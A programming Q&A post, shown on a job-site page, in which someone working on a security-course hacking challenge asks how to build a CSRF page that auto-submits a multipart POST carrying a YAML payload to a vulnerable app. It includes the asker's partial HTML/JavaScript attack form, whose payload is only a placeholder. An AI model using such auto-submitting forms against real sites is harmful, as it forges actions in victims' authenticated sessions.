Empresas
Empleos
  • Sobre nosotros
  • Soluciones
    • Publicación de vacantes
      Publica tu vacante y recibe candidatos calificados en 48h.
    • Evaluación de candidatos
      500+ pruebas técnicas y psicológicas, más anti-fraude.
    • Headhunting
      Búsqueda ejecutiva a la medida de principio a fin.
    • Nómina + EOR
      Dispersión de nómina y EOR en más de 15 países de LATAM.
  • Precios
  • Empleos

0

195
Vistas
Is it possible to preset Form POST Body (multipart) with Plain Javascript without doing Ajax/XHR or Fetch?

I'm currently working on a Hacking Challenge in a Security Course.

It is required to do a multipart/form-data POST Request as an CSRF (trick the user to visit my HTML/JS and redirecting her with authenticated Session to do something harmful).

As the necessary Allow-Origins Header is missing it's not possible to do it with Ajax/XHR or Fetch.

That leaves me to the question: Can I append Formdata or something similar to a DOM-based Form and submit it like a browser initiated Submit that will bypass the CORS restrictions?

This is my initial idea. The POST Request runs as intended, but the file payload isn't appended to the body like it should?!

<html> 
        <body>
        <form id="myForm" method="POST" action="http://vuln-app/api/v1/process" enctype="multipart/form-data"> 
                <input type="file" id="fileinput"> 
                <input type="submit" value="Submit request" /> 
        </form> 
        <script> 
yml = ` 
vulnerable yml code
`
        var ymlBlob = new Blob([yml], { type: "application/yml" });
        
        form = document.forms[0];
        var fd = new FormData(form);

        fd.append("fileinput", ymlBlob, "description.yml");

        form.submit();
        </script>
        </body>

</html>
about 4 years ago · Juan Pablo Isaza
Responde la pregunta
Encuentra empleos remotos

¡Descubre la nueva forma de encontrar empleo!

Top de empleos
Top categorías de empleo
Empresas
Publicar vacante Precios Comercial
Legal
Términos y condiciones Política de privacidad
© 2026 PeakU Inc. All Rights Reserved.
Andres GPT
Recomiéndame algunas ofertas
Necesito ayuda